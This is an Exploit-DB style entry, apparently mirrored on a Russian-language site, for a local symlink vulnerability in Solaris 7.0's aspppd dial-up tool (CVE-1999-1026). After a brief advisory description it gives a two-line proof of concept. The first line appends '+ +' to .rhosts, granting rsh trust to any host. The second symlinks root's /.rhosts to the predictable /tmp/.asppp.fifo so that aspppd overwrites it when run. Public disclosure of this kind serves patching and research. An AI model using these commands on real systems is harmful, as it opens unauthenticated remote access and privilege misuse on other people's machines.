Exploit Solaris 7.0 - aspppd Insecure Temporary File Creation

[Exploiter]

EDB-ID

19233

Проверка EDB

1. Пройдено

Автор

AL-HERBISH

Тип уязвимости

LOCAL

Платформа

SOLARIS

CVE

cve-1999-1026

Дата публикации

1996-12-20

Solaris 7.0 - aspppd Insecure Temporary File Creation

source: https://www.securityfocus.com/bid/292/info

Aspppd is a tool shipped with Solaris for dial up PPP access. This tool creates files in the /tmp directory insecurely (in particular /tmp/.asppp.fifo) allowing other users to link to these files an possibly elevate their privelages. This program is not by default shipped with SUID root privelages so an attacker will therefore only be able to write to files (via a symlink attack) as the user exectuing aspppd. 

$ echo "+ +" >> .rhosts
$ ln -s /.rhosts /tmp/.asppp.fifo

Wait for asppd to be excecuted.